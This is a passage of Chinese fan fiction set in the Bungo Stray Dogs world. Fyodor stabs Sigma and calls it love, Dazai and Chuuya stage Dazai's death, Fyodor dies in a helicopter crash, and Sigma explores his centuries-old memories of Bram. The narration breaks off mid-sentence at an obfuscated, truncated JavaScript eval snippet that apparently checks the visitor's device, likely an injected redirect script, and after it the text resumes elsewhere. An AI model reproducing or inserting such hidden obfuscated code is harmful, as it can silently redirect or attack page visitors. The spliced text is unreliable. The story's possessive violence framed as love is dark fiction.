西格玛对费奥多尔的恐惧,从来没有停下过。 哪怕费奥多尔认为,他所做的都是“爱”的行为,也不会让西格玛遭受的痛苦减少分毫。 西格玛确实憧憬过费奥多尔。 憧憬过他的脑力,憧憬过他能将一切掌控在棋局之内。 可那不过是极度恐惧之下,扭曲出的、病态的憧憬。 西格玛知道,她永远都忘不掉费奥多尔。 就是因为这样,所以她才感到痛苦。 所以有的时候,她恨不得自己死掉。 死了就不会去恨,也不会去爱了。 所有的情绪纠缠在一起,像乱麻,像锁链,像绳铐。 西格玛想,我恨费奥多尔,我只能恨他。 她望着他眼底的光,泪水滑落脸颊,声音沙哑得不成样子:“……我恨你。” 恨也好,爱也好,为什么都这么痛苦? 费奥多尔听到了这个答案,眼底的光却亮了起来。 你一边流着泪,一边说我恨你——在我心里,这已经和你说你爱我,没有任何区别了。 这是费奥多尔意料之中的回答,也是他想要的回答。 在他预设的选项里,编号A的“我爱你”,编号B的“我恨你”。 西格玛选了B。 费奥多尔全然接受着,嘴角勾起一抹温柔的浅笑。 他已经得到了想要的答案。 西格玛,永远忘不了他。 这是多么让人满意的事啊。 你永远忘不了我,也永远别想忘掉我。 费奥多尔看着她泪流满面的模样,缓缓笑了,一字一句,温柔得像情人间的告白:“我爱你。” 从今往后,任何人对西格玛说出“我爱你”,她首先都会想起此刻的他。 西格玛没有回应,只是咬着唇,一步一步走向他,伸手想要接过那把匕首。 就在她的指尖即将触碰到刀柄的刹那—— 费奥多尔的手指轻轻翻转,银质的刀刃瞬间调转方向,寒光一闪,狠狠刺入了西格玛的腹部。 那里,曾经孕育过他和她之间的孩子。 这一击不仅是惩戒,更是烙印。 刺伤西格玛,让他在她心中的印象更加深刻。 以及,想要离开我的坏孩子,本就该得到惩罚。 西格玛的身体猛地一僵,随即剧烈地痉挛起来,一口鲜血猛地咳出,溅落在白色西装上,绽开一朵朵妖冶的红梅。 她踉跄着后退,腹部传来撕裂般的剧痛,让她不受控制地跪倒在地。 温热的血液从伤口汹涌而出,浸透了她的衣摆,怎么捂都捂不住。 枪从她无力的手中滑落,砸在地上发出清脆的声响。 西格玛挣扎着,想要伸手去捡。 费奥多尔却先一步抬脚,稳稳地踩住了那把枪,紫眸里的温情早已消失殆尽,只剩下一潭不见底的寒冰。 他弯腰捡起那把沾染着西格玛鲜血的匕首,指尖拂过刀刃上的血迹,低低地笑了:“这不过是发给警务员的小刀而已。” 费奥多尔轻笑一声,目光落在西格玛身上。 她的唇边流淌着鲜血,苍白的脸颊旁,还挂着刚刚为他而流的泪珠。 他看着,心底漫过一丝近乎残忍的怜惜。 无论何时,你都是如此惹人怜爱。 费奥多尔蹲下身,紫罗兰色的眼眸沉沉落在西格玛苍白的脸颊上,目光精准地描摹过她唇边未干的血迹,却始终没有半分触碰。 费奥多尔就那样安静地望着,用着近乎温柔的语调:“很痛吧?要是你加入侦探社,这种痛苦可是会永远袭击你的。” 他顿了顿,眼底闪过一丝冷光:“因为侦探社,是我的敌人啊。” 费奥多尔直起身,居高临下地看着蜷缩在地的西格玛,语气平淡:“即使如此,你也希望成为侦探社员吗?” 西格玛垂下头,双手撑在冰冷的地板上,指节因为用力而泛白。 脸颊的泪水滴落在地上,晕开一小片深色的痕迹。 费奥多尔垂下眼眸看着她。 这样的动作,就像是西格玛在向他忏悔。 就像我之前说的那样,爱都是伴随着痛的。 西格玛,你为此感到痛苦,是因为你爱我。 ——因为你爱我,所以你恨我呀,西格玛。 就在费奥多尔以为她会屈服的时候,西格玛却猛地抬头,眼神里闪过一丝决绝,不顾一切地扑向那把被他踩住的枪。 “果然。” 费奥多尔像是早就料到了一般,轻笑一声,抬脚将枪踢飞出去,撞在墙上发出沉闷的声响。 他看着西格玛绝望的眼神,缓缓开口,语气里带着一丝不易察觉的叹息:“我说过了,西格玛,你总是容易轻信于人。不过这次你轻信的是我,所以我不会下死手。” 费奥多尔半跪在地,向西格玛伸出手,紫眸里带着一种诡异的真诚:“抱歉,我试探了你的觉悟。” 他顿了顿,嘴角勾起一抹意味深长的笑:“来,看在你这份觉悟的份上。” 西格玛猛地一愣,怔怔地看着他伸出的手,眼底满是惊疑。 费奥多尔看着她惊讶的模样,笑意更深了:“怎么了?触碰我,窃取你想要的情报吧。如果你有这个勇气的话。” 他将手伸到西格玛身前,掌心向上,语气轻柔得像在蛊惑:“来吧,请触碰我。” 那时,他也曾这样向她伸出手。 西格玛看着那只手,脑海里突然闪过遥远的沙漠。 说不定,这是我人生最后的选择。 西格玛眼底情绪未平,抬手的动作带着不易察觉的颤抖,缓缓靠近他的指尖。 费奥多尔看着她的动作,笑意深了几分,轻声问道:“你想知道些什么?” 西格玛微微一顿,一字一句,清晰地说道:“你的所有秘密!” 费奥多尔的笑意更浓了。 指尖相触的刹那,西格玛只觉得一股强大的力量涌来,还没等她读取到任何信息—— 费奥多尔猛地伸出另一只手,精准地击中了她的后颈。 西格玛的身体一软,彻底失去了意识。 费奥多尔顺势搂住倒地的西格玛,将她轻轻抱进怀里,指尖拂过她苍白的脸颊,动作轻柔得近乎缱绻。 费奥多尔凝视着西格玛苍白的面颊,墨色的眼睫垂落几分,掩去眼底翻涌的情绪。 费奥多尔微微倾身,指腹极轻地覆上她唇角,将那点未干的血迹细细拭去,指腹的温度与她冰凉的肌肤短暂相触,随即便收回,仿佛只是完成了一件必要的仪式。 他在心底无声忖度。 刚刚的触碰,她读取到的信息,估计要一段时间才能醒过来。 随即,费奥多尔用指尖擦拭着西格玛的嘴唇,动作轻柔,却带着一种近乎洁癖的嫌恶,像是在擦拭什么脏东西。 ——哪怕太宰治当时的目的是为了渡气,他吻了她,这是事实。 费奥多尔低头,在西格玛的额头上印下一个冰冷的吻,轻声呢喃,语气里带着偏执的占有欲:“我不想伤害你的。” 费奥多尔说的没错,他确实不想伤害西格玛。 现在,是他不得不这么做。 费奥多尔维持着半俯身的姿态,紫眸里闪过一丝晦暗的光。 指腹不经意地掠过西格玛腰侧,那未被血迹浸透的衣料,确认她没有因体位变动而加剧疼痛。 醒了的西格玛,会被他好好保护起来。 和他,永远在一起。 费奥多尔没有再做多余的动作,只是小心翼翼地将她的身体放平。 掌心贴住她的后背轻轻顺了顺,动作轻缓得仿佛在对待一件易碎的珍宝。 他俯身拾起她胸前的手帕,指尖精准地按压在伤口外侧,避开腹腔深处的要害,将手帕层层叠叠缠紧,力道控制得刚好。 既足够压迫住渗血的血管,又不至于让她在昏迷中承受额外的剧痛。 费奥多尔精准刺中了非致命伤的部位,并把握好了刺入的深度。 他知道这仓促的包扎撑不了太久,却足够撑到他离开这里,安排好后续送医的人手。 费奥多尔垂眸凝视着西格玛苍白如纸的面颊,眼睫微垂,掩去了眸底翻涌的晦暗情绪。 片刻后,他直起身,转身重新走向监控台,脚步声在空旷的监控室里敲出冷硬的回响。 空旷的走廊里,太宰治依旧靠墙瘫坐着,听见脚步声,他才慢悠悠抬起头,看向被冷光勾勒出轮廓的身影。 “啊啊,这一幕我已经在脑子里演过几千遍了。” 他懒洋洋地勾了勾唇角,眼底却没什么笑意,“只不过在我的想象中,我们的立场是相反的。” 吸血鬼化的中原中也沉默地站在他面前,猩红的眼瞳里翻涌着压抑的怒火,周身的戾气几乎要凝成实质。 “……怎么了?过来啊,中也。”太宰治朝他招了招手,语气带着刻意的轻佻,“用你那弱鸡拳头,让我开心一下呗。” 话音刚落,中原中也果然被彻底激怒,低吼一声便攥紧拳头,风风火火地朝他扑过来。 就在拳头即将落在他脸上的瞬间,广播里突然响起费奥多尔冰冷的声音:“给我停下。” 中原中也的动作猛地僵在半空,像是被无形的枷锁锁住,硬生生刹住了脚步。 监控屏幕前,费奥多尔看着画面里僵持的两人,指尖轻轻敲击着桌面,语气平淡却带着不容置疑的命令:“那是挑衅。他想通过直接接触,解除你的吸血鬼化。” 他垂眸,目光落在屏幕里太宰治那副欠揍的模样上,嘴角勾起一抹冷冽的弧度。 “拉开距离了结他。” 走廊里,太宰治不爽地啧了一声,啧舌声在空旷的空间里格外清晰。 下一秒,中原中也掏出腰间的手枪,毫不犹豫地扣动扳机。 “砰——” 子弹精准地击中太宰治的右肩,鲜血瞬间浸透他的囚服,他闷哼一声,捂着伤口狼狈地倒在地上,嘴里却没闲着,痛得龇牙咧嘴地嚷嚷:“好痛啊啊啊啊!可恶!痛死了!你到底瞄哪里啊!水平烂透了吧!” 中原中也面无表情地走上前,冰凉的枪口直接抵住了他的太阳穴。 监控室里,费奥多尔看着这一幕,满意地勾了勾唇:“这么一来,就不用担心会打偏了。” 太宰治感受着太阳穴上的冰凉触感,却反而平静下来,甚至还懒洋洋地打了个哈欠,语气散漫得不像话:“真是太糟糕了,痛死了,还输给了费奥多尔……更倒霉的是,杀我的人居然是中也啊……” 费奥多尔的笑声透过广播传来,带着毫不掩饰的嘲弄:“看来你已经无计可施了呢。” 太宰治闻言,却缓缓勾起一抹浅笑,他抬眼看向眼前面无表情的中原中也,神色一点点变得认真起来,声音低沉而清晰:“中也,给我醒醒。我们的命运不会在这种地方结束,因为我们是命运的——” “砰——” 枪声骤然响起,打断了他未说完的话语。 子弹狠狠嵌进太宰治的额头,鲜血瞬间顺着眉骨淌下。 中原中也面无表情,紧接着又对着他头部附近补了一枪。 子弹撞上身后的金属墙,迸出一串刺眼的火花,沉闷的撞击声在走廊里回荡,光滑的墙面霎时又多了两个焦黑的弹坑。 太宰治却低低地笑了起来。 “……哈哈,终于。” 他缓缓垂下眼眸,身体软软地靠在墙上,像是彻底失去了力气,声音轻得像叹息:“我等这一刻,很久了……” 监控屏幕前,费奥多尔支着下巴,看着画面里失去生机的太宰治,眼底满是冰冷的笑意,轻声吐出几个字: “永别了,太宰。” —————— 将身上湿透的囚服褪下,换了身干净的囚服。 新缠的绷带层层叠叠,将渗血的伤口裹得密不透风,边缘却仍洇出淡淡的红痕。 费奥多尔垂眸扫过腕间的白痕,步伐沉缓却无半分滞涩,银白认证卡在掌间泛着冷光。 刷开停机坪大门的瞬间,穿堂风卷着停机坪的尘沙掠过,掀动他的衣摆簌簌作响。 他踩着登机坪粗糙的水泥地面缓步上前,指尖反复摩挲过绷带上的粗糙纹理,触感里混着布料的纤维与皮下隐隐的刺痛。 费奥多尔沉着地站在停机坪大门口,嘴角挂着一抹浅淡的笑意。 那笑意极淡,像薄冰上的霜花,没半分暖意,只透着与周遭寒风同调的凉。 “先到达的是——费奥多尔选手!” 雀跃的声线破空而来,果戈里的身影陡然从一旁的阴影里窜出,指间礼花筒迸溅出漫天金红碎屑,纷纷扬扬落在费奥多尔的肩头。 他绕着挚友转圈,披风翻飞如振翅的鸦羽,语气里满是不加掩饰的赞叹:“优秀到极点!不愧是我的挚友!” 话音未落,果戈里侧身从披风下摸出一台老式录音机,咔哒一声按下开关:“给你加首赞美歌吧。” 费奥多尔眉峰微挑,抬脚便将那聒噪的机器踢飞出去。 金属外壳撞上地面,发出清脆的声响。 “啊啊——”果戈里蹲在一旁,看着滚远的录音机,露出孩子气的委屈表情,却又很快弯起眼眸。 “我不需要你的赞美。”费奥多尔的目光落在果戈里身上,语气平淡却带着不容置疑的威压,“那个东西,给我。” 果戈里低笑出声,慢条斯理地从披风内侧拎出一只银质手提箱,拇指扣住锁扣轻轻一弹。 箱盖掀开的刹那,冷光闪过——里面静静躺着一支泛着幽蓝光泽的针管,以及那支唯一的解毒剂。 费奥多尔的手伸向手提箱,骨节分明的指尖堪堪要触到箱沿。 果戈里却忽然侧身,将箱子往自己这边一挪。 费奥多尔的动作顿住,垂在身侧的手指微微蜷起。 果戈里晃着箱子,笑得眉眼弯弯:“在此之前,我可以先问一个问题吗?太宰是靠让同伴读取加密心率向外联系,你是怎么在这铜墙铁壁里,跟外面搭上话的?” 费奥多尔垂眸,长睫掩去眼底的情绪,片刻后,他缓缓阖上眼皮,再睁开时,唇边漾开一抹极淡的笑意:“说来简单,就是这个。” 话音落下的瞬间,三道僵硬的身影从机舱后方的阴影里走出。 是三个面色青白、瞳孔覆着一层赤红翳膜的警卫,他们脖颈处的皮肤下,青筋狰狞地跳动着,分明是已经被吸血鬼化的躯壳。 “原来如此。”果戈里啪嗒一声合上箱盖,语气里带着恍然大悟的轻快,“默索尔的警备里,藏着你的协助者……不,该叫随从才对。” 他不再逗弄,径直将手提箱递到费奥多尔面前:“好了,这是你的了。” 费奥多尔接过箱子,指尖掂了掂重量,只淡淡吐出三个字:“收到了。” 他提着箱子转身,走向机舱深处的座位,果戈里看着他的背影,忽然出声:“你不现在注射吗?” 费奥多尔侧过身,他的目光掠过远处的天际,语气平静无波:“好歹这里是欧洲最高级别的监狱,我要在越狱被察觉,空狱被封锁之前赶紧起飞,我会在直升飞机里注射它的,那种程度的时间还是有的。” 他的手搭在直升飞机的门把上,指腹刚触到冰凉的金属,却又猛地顿住。 费奥多尔垂眸看向自己裹着绷带的手掌,细密的刺痛从皮肉深处钻出来,像无数根细针在扎。 那是太宰治给他留下的伤口。 他转过身,看向身后那三个吸血鬼警卫,声音淡漠:“我受伤了,无法握住操纵杆,麻烦你操纵了。” 为首的警卫面无表情地点头,沉默地走向驾驶位。 费奥多尔刚屈腿踏入机舱,指尖正要触碰到舱门的把手时,身后的声线却先一步缠了上来。 果戈里双手交叠在拐杖顶端,银霜色的十字眼眸定定地看着他,语气里带着一丝不易察觉的沉郁:“费佳!西格玛怎么了?” 费奥多尔的唇角勾起一抹极浅的笑,像冰面裂开的细纹:“她很勇敢哟。” 他顿了顿,补了一句,语气轻得像叹息:“但是,她应该再也不会醒来了吧。” 费奥多尔当然知道西格玛没死。 那个触碰过他、窥见了他些许秘密的孩子,此刻正躺在监控室的地板上,呼吸平稳。 可他偏要告诉果戈里,西格玛死了。 他得不到西格玛,那果戈里也不该得到。 毕竟,他们可是挚友啊。 醒着的西格玛,会被他好好藏起来,锁在只有他能看见的地方,和他永远在一起。 “……西格玛,死了吗?” 果戈里的声音低了下去。 他早就用自己的手段盯着西格玛,知道她触碰过费奥多尔,知道她此刻正躺在监控室里。 ……啊。 一阵尖锐的钝痛猛地攥住心脏,密密麻麻地蔓延开来,连带着指尖都泛起一阵麻意。 果戈里知道,他应该去查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的视线飞快扫过吸血鬼警卫僵直的姿态、棍状武器上沾染的刺目血迹,再落回费奥多尔唇边未干的血沫上,思维瞬间绷紧。 这些随从是费奥多尔亲手转化的,绝无背叛的道理,除非……有人在背后动了手脚。 就在这时,一道懒洋洋的声线,从机舱门口慢悠悠地传来。 “真是遗憾啊……”轻挑的嗓音微微扬起,带着几分惋惜,几分玩味,“差一点,我就能死掉了呢。” 果戈里猛地转头,银霜色的十字瞳孔骤然收缩。 “但是,就凭你,是杀不死我的。” 太宰治站在那里,一条腿上缠着厚厚的绷带,却依旧笑得漫不经心。 他的身影,恰好站在刚才费奥多尔踏入停机坪时,所站的那个位置。 费奥多尔的嘴角蜿蜒出暗红的血线,他侧过头,目光锚定在缓步走近的太宰治身上:“太宰,为什么……” 太宰治缓步上前,踩着费奥多尔曾经的轨迹。 他垂眸看着嘴角淌着血的费奥多尔,声音里漫着几分漫不经心的凉薄:“魔人费奥多尔,跟手掌操控万物的你不同,我这边的手牌,可净是些不确定因素。” 太宰治忽然伸出一根食指,像在点破一个无人知晓的秘密。 “但是啊,你确实是有弱点的。” 他顿了顿,勾起的唇角染上凉薄的笑意,“你从不相信——那些自己无法操控的东西。” “我说的是,同伴。” 太宰治语气里添了几分笃定的从容:“布拉姆在机场取回了异能,乱步先生与他进行交涉,让他操控了驾驶直升机的吸血鬼。” “这不是事先就让他去做的事情。” 太宰治的笑容里带着几分了然:“但是我相信,如果是乱步先生的话,他就会这么做。” 剧痛如潮水般啃噬着脏腑,费奥多尔的额头渗出细密的冷汗,他望着太宰治:“但是你的头被贯穿了……” 太宰治漫不经心地撩起额前的碎发,露出那道还在渗血的伤口,眉梢眼角染着几分真切的痛意,却又笑得狡黠:“啊,这个吗?确实疼得要命,毕竟那个蠢货,从来不知道怎么控制力气。” “你说谁是蠢货啊!” 暴躁的怒吼破空而来,中原中也摘下隐形眼镜,露出那双燃烧着怒火的苍蓝眼眸,双手插兜大步上前,鞋跟碾过地板发出清脆的声响。 太宰治笑得更欢了,眼角弯起的弧度像一弯新月:“看吧,中也从一开始,就不是什么吸血鬼。” 中原中也皱着眉,伸手去掰黏在嘴角的吸血鬼獠牙,不管怎么掰都掰不下来:“可恶,拿不下来了。明明只要套上去就行了,老大觉得好玩,硬是给粘上了。” 太宰治的笑声在空旷的废墟里荡开,费奥多尔看着眼前这一幕,喉间涌上更汹涌的腥甜,他看着太宰治,彻底明白了什么,唇边扯出一抹带着血沫的笑:“啊啊……原来如此……” “没错,”太宰治接过他未尽的话,语气轻快得像在说一场无伤大雅的玩笑,“都是演技哦。” 他晃了晃手指,“我之所以能从电梯逃脱也是,因为中也在外面操纵重力干涉。而且他还用重力延缓子弹的速度,朝我的头部开枪。” “子弹停留在了我的头盖骨。” 他侧过头,看向一脸不耐的中原中也:“你以前,可就经常用这一招呢。” 中原中也单手压了压帽檐,闷声闷气地骂了一句:“麻烦死了。” “至于那场水浸的策略,”太宰治的目光重新落回费奥多尔身上,笑意渐冷,“不过是为了让你的注意力,从真正的目的上移开罢了。” 费奥多尔捂着剧痛的腹部,眉头死死压住,声音微弱却带着不甘:“真正的目的……?” 太宰治的指尖,精准地指向了他那只裹着绷带的手:“你的伤口。” 他一字一顿,清晰得像一把冰冷的刀,“如果你的手在爆炸中受伤的话,你就只能拜托吸血鬼操纵直升飞机,然后吸血鬼则会——” 话音未落,驾驶舱里的吸血鬼警务人员面无表情地按下了操纵杆。 直升机的旋翼骤然加速,发出震耳欲聋的轰鸣,机身失控般朝着一旁的高楼撞去。 费奥多尔的瞳孔微微放大,他没有嘶吼,也没有挣扎,只是喉间滚出一声极轻的、带着几分错愕的制止:“慢着!” 那两个字像是不甘,又像是终于窥见命运终局,带一丝来不及收拢的错愕。 太宰治站在狂风里,囚服被吹得猎猎作响,他看着那架失控的直升机,唇边的笑意淡得像雾:“再见了,费奥多尔。” 剧烈的爆炸声撕裂了天际,火光冲天而起,滚烫的气浪席卷而来,将一切吞噬。 废墟之上,费奥多尔的声音淹没在轰鸣里,他仰望着漫天火光,苍白的嘴唇翕动着,像在祈求什么,又像在控诉什么:“啊啊……神啊,神啊……你为何要遗弃我……” 火焰与浓烟之中,直升机的残骸坠落如雨。 太宰治走上前去,在一片狼藉的废墟里翻找着。 中原中也站在他身后,看着他的动作,皱着眉开口:“然后呢?那个贫血的家伙,死透了没?” 太宰治的指尖触到了一片冰凉的布料,他俯身扯出那只裹着绷带的残手,指尖的触感尚带着一丝残存的体温,却已在空气中迅速发凉。 他站起身,晃了晃那只手,语气平静得没有一丝波澜:“嗯,费奥多尔他,毫无疑问的死了。” “是吗?” 低沉的声音自身后响起,果戈里缓步走来,白色的衣摆沾了尘土,却依旧难掩那份狂放的气质。 他看着太宰治手中的残肢,眼神复杂得辨不清情绪。 太宰治瞥了他一眼,勾起唇角,语气带着几分戏谑:“恭喜你啊,果戈里,你不是一直想杀了他吗?” 果戈里沉默着伸出手,小心翼翼地接过那只残肢,指尖的触感冰凉刺骨,像是握住了一段早已逝去的时光。 他低头看着掌心的残手,声音忽高忽低,像是在自语,又像是在对亡者倾诉:“啊,确实如此。” “不,不尽然。” “不,正如你所说。” 他的声音渐渐低沉下去,带着一丝难以言喻的迷茫:“我和费奥多尔,其实没什么太多的交流。可自从遇见他之后的那些日子,我仿佛过了一整个人生,一段截然不同的人生。” 也因为他,遇见了她。 果戈里轻轻摩挲着那只残手的绷带,眼神空洞,“费奥多尔说的对,我一直在为‘迷失自己’而战斗。” “而现在……我确实,迷失了。” 果戈里双手捧着那只残肢,话语凝在唇边,最后只化作一声几不可闻的叹息:“现在,我只是……” 只是什么呢?他说不出来。 西格玛死了,费奥多尔也死了。 他终于从那些名为爱情、名为友情的羁绊里挣脱出来,获得了他梦寐以求的自由。 可是……为什么会感到寂寞呢? 心口的位置,空落落的,像被什么东西掏空了。 风卷起地上的灰烬,果戈里望着手中的残肢,忽然生出一个念头。 ——他想去看看西格玛,最后一眼也好。 可这个念头刚冒出来,就被他狠狠压了下去。 他不想看。 他不想看到那个总是带着怯生生眼神的少女,变成一具毫无生机的躯壳。 果戈里选择了逃避。 他垂着头,双手紧紧攥着那截残肢,指节泛白,像是在逃避什么,又像是在追逐什么。 风穿过他宽大的衣摆,猎猎作响,果戈里忽然轻声开口,声音轻得像一片羽毛,散在风里: “西格玛,你自由了吗?” 这句话,像是在问她,又像是问他自己。 你说,我们这样,算不算真正的自由? 太宰治和中原中也静静地看着他的背影,谁也没有说话。 中原中也侧过头,看向身旁的太宰治,语气里带着几分难得的困惑:“……你怎么不和平常一样,说几句嘲讽的话?” 太宰治垂眸,指尖拎起脚边的手提箱,轻轻掂了掂,箱身碰撞发出清脆的声响,里面装着那唯一一份的解毒剂。 他的指尖隔着冰冷的箱面,像是在确认什么,又像是在感受那份沉甸甸的重量。 几不可察的停顿里,他的眉峰微不可见地蹙了一下。 脑海里闪过那个总带着怯意的身影。 是那个在费奥多尔布下的棋局里,拼了命想寻得一丝生机的西格玛。 此刻的她,不知是生是死。 太宰治收回思绪,声音平淡得听不出情绪:“不,现在还是算了。解毒剂也拿到了,逃吧。” 风掠过废墟,卷起一地尘埃,将那些未说出口的话语,尽数掩埋。 19. 变数 太宰治将解毒剂注射进身体,冰凉的液体刺破皮肤,顺着血管蔓延开。 注射完解毒剂的太宰治站直身体,侧头看向身侧的中原中也,语气依旧漫不经心,尾音却藏着一丝不易察觉的紧绷:“走了,去西格玛那里。” 顿了顿,他又补充道,“如果她还活着,那就说明她对费奥多尔使用过异能。” 中原中也啧了一声,不耐烦地蹙着眉,脚下的步伐却没丝毫迟疑,跟着太宰治快步穿过狭长的走廊。 推开那扇虚掩的门,入目的便是躺倒在地的西格玛。 她浅色的发丝凌乱地贴在苍白的脸颊上,双眼紧闭,长长的睫毛在眼睑下投下浅浅的阴影,与毫无血色的皮肤相映,更显死寂。 单薄的躯体平躺在灰色的金属地面上,毫无动弹,冷硬的金属泛着森然的凉意,将她的苍白衬得愈发刺眼,几乎与地面融为一体。 乍一看去,竟与死去无异。 太宰治的脚步猛地顿住,心脏像是被什么东西轻轻攥了一下,钝痛一闪而过。 他垂在身侧的手指几不可查地蜷了蜷,语气里的散漫没减分毫,只是尾音悄然沉了些:“看来是死透了啊。” 是自己来晚了吗? 这个念头不受控制地冒出来,搅得太宰治心绪纷乱。 他见过太多死亡,早已习惯了生命的脆弱,可此刻看着地上毫无生气的西格玛,心底却莫名窜起一丝滞涩。 就像细丝线缠上了转动的齿轮,连呼吸都跟着慢了半拍。 苍白得仿佛死去的你,真不想看到这样的你啊。 太宰治在心里无声地叹道。 他的目光落在她毫无血色的唇瓣上,罕见地生出一丝慌乱。 “那家伙居然给她包扎了。” 中原中也的声音打破了沉寂,他的目光落在西格玛腹部被包扎得整整齐齐的伤口上,语气复杂难辨。 费奥多尔的手段有多狠戾,他们再清楚不过,这般“手下留情”,反倒透着更深的诡异。 太宰治顺着他的视线看去,眸光倏地沉了下去。 他没再说话,只是缓步走上前,蹲下身,动作轻得不像平时的他。 带着一丝连自己都未曾察觉的、近乎奢望的希望,他轻轻伸出指尖,却在触碰到她手腕的前一瞬顿了半分。 随即,指尖终于落下,轻轻探上西格玛的脉搏。 指尖下的触感微弱却清晰,一下,又一下,带着生命的温热,悄然熨烫着他微凉的皮肤。 心底那点说不清道不明的情绪,像是被投入石子的湖面,漾开细碎的涟漪。 那是混杂着庆幸与释然的,连他自己都要刻意压下去的悸动。 那点滞涩感骤然散去,像是被风吹散的雾。 太宰治垂着眼,睫毛遮住眼底一闪而过的松动,嘴角依旧没什么弧度,只是指尖的力道放得更轻了些。 你还活着,真是太好了。 而此刻的西格玛,意识早已脱离了躯壳。 在被费奥多尔打晕的刹那,她便坠入了记忆迷宫。 是费奥多尔让她对自己使用异能,又是他毫不留情地将她打晕。 西格玛的意识在纷乱的记忆碎片里沉浮,那些层层叠叠的算计像一张密不透风的网,将她困在其中,她无法理解费奥多尔的所作所为。 但现在,她顾不上这些。 最重要的事,是撬开费奥多尔的记忆,找到那藏在深处的、足以颠覆一切的真相。 四周的黑暗里,忽然浮起无数细碎的白色碎片,像是被月光打碎的琉璃,轻飘飘地悬浮在意识的空境中。 西格玛伸出手,指尖穿过一片又一片冰凉的光晕,最终稳稳捧住一块形状完整的碎片。 碎片的纹路在掌心缓缓展开,画面骤然清晰——是费奥多尔的视角。 她看见那双骨节分明的手握着一把锋利的短刀,刀刃泛着冷冽的银光,毫不犹豫地刺向自己腹部。 她能清晰地感受到刀刃划破布料、刺入皮肉的滞涩感,甚至能听见自己闷哼出声的细微响动,以及费奥多尔眼底那片深不见底的漠然。 这是费奥多尔的记忆吗? 西格玛的意识猛地一颤,指尖的碎片险些滑落。 她真的成功了?可如此一来…… 她猛地抬头,看向漫天漂浮的白色碎片,心脏在意识的囚笼里疯狂跳动。 难道,这些全部都是? 这么庞大的量…… 全部读取究竟要花上多少年啊? 费奥多尔……那家伙究竟是…… 就在这时,四周的空间开始剧烈震颤,白色碎片边缘泛起蛛网状的裂痕,像是被一只无形的手狠狠撕扯。 ……不,刚刚那一瞬间的触碰还是不够。 自己得赶快读取才行。 西格玛咬着牙,意识化作一道轻盈的流光,努力朝着记忆迷宫最深处、最远的那片碎片游去。 她穿过层层碎裂的光影,被一片碎片所吸引。 映入眼帘的是一座庄严的古堡,青灰色的石墙爬满枯藤,穹顶悬挂着蒙尘的水晶灯,光线昏暗却难掩昔日的华贵。 西格玛向它靠近,指尖刚一触碰,画面便如潮水般将她裹挟。 这是哪里? 她的意识在茫然中跟随记忆的视角移动,从铺着猩红地毯的华丽楼梯拾级而下,穿过摆满古旧摆件的长廊,廊柱上的浮雕刻着陌生的纹路。 最终,脚步停在一条狭窄潮湿的走道尽头,厚重的铁门后,是阴冷刺骨的地牢。 这究竟是多少年前的画面?是哪个被遗忘的时代? 西格玛的意识悬浮在半空,看着地牢中央的场景。 一个身穿粗布衣衫的人被铁链绑在石壁上,手腕与脚踝的皮肤已被磨得泛红,低垂的帽兜遮住了大半张脸。 他的左右两侧,站着两名身披厚重铠甲的护卫,头盔下的目光冷硬如铁,手中的长矛直指囚犯。 一阵沉稳的脚步声从黑暗中传来,带着不容置疑的威严。 “真是个愚蠢的间谍,夜幕乃朕的左膀右臂,居然还想着借机行事。” 低沉的嗓音在空旷的地牢里回荡,带着一丝不耐与傲慢。 一旁的护卫躬身回话,语气恭敬:“此人自称是行游的吟游诗人,但他试图破坏城门的卷帘锁,被哨兵当场逮捕。” 顿了顿,护卫抬眼请示,“要如何处置呢,布拉姆大人?” 布拉姆大人? 西格玛的意识猛地一震,视线死死盯住那个缓步走出阴影的身影。 身着全套铠甲,衣着暗红色披风,左右脸颊各有一道的伤疤,嘴角微微勾起,露出了尖锐的吸血鬼獠牙——那张脸,赫然是布拉姆! 可他……他的脑袋下面有完整的身体! 这究竟是多少年前的记忆?! 西格玛的心跳在意识的囚笼里狂跳,难以置信地看着这一幕。 布拉姆走到囚犯面前,居高临下地俯视着他,声音冷冽:“身藏于黑夜的吟游诗人啊,说出汝的雇主。是马加什王?还是苏丹?” 绑在墙上的囚犯缓缓抬起头,帽兜滑落少许,露出一截苍白的下颌线。 他的声音平静无波:“我的主人,就是我自己。” 这声音…… 西格玛的意识骤然绷紧,像是被无形的手攥住。 这熟悉的、带着淡淡沙哑的语调,难道是…… 布拉姆抬手,轻轻将囚犯的帽兜彻底拉下。 一张苍白而俊美的脸庞暴露在昏暗的光线下,眉眼间的清冷与漠然,嘴角那抹若有似无的弧度,分明就是费奥多尔! 西格玛的意识剧烈震颤,几乎要从记忆碎片中脱离。 费奥多尔? 可是他的外貌年龄,和现在几乎没有差别! 这究竟是多久之前的事?他为何会被布拉姆囚禁在这里? 无数个疑问如乱麻般缠绕着她,让她几乎喘不过气。 “布拉姆阁下,我是为了见您一面,才出此下策。” 被绑在墙上的费奥多尔神色平静,没有丝毫惧意,反而抬眼看向布拉姆,眼底闪烁着狂热的光芒,“真不愧是堪称魔之化身的存在,仅仅是一眼,就让我移不开目光了。” 他话锋一转,语气变得低沉而诡异:“但是,恶魔大公啊,神兵将自西而来,您的麦田,终将化作灰烬吧?” “西……罗马吗?” 布拉姆的目光瞬间锐利如刀,獠牙在阴影中闪着寒光。 “莫非是罗马的密探?” “终于要东征了吗?” “是大圣十字军要来了?” 旁边的护卫们窃窃私语,语气中带着一丝慌乱。 “肃静!” 布拉姆沉声呵斥,地牢里瞬间恢复死寂。 “汝,称呼朕为『恶魔』?” 布拉姆的声音低沉如古钟,带着不容置喙的威严,暗血色披风在他身侧微微晃动,投下大片阴翳。 墙上的费奥多尔闻言,嘴角缓缓勾起一抹浅淡的笑意。 布拉姆的神色骤然锐利起来,瞳孔缩成狭长的竖影,脸颊的伤疤在昏暗光线下显得愈发狰狞。 “汝说的没错。” 他顿了顿,“但圣经有言,上帝创造万物万象。” “也就是说,恶魔亦是上帝所造,” 他抬眼看向费奥多尔,尖牙在唇齿间若隐若现,闪着锐利的寒光,“恶魔与人,同为上帝之子,且同样残虐不堪。” 话音落下,他不再多言,猛地转过身去,暗血色披风划出一道凌厉的弧线,扫过潮湿的地面。 “到了黎明时分,听到鸡鸣,便用枪捅死他。” 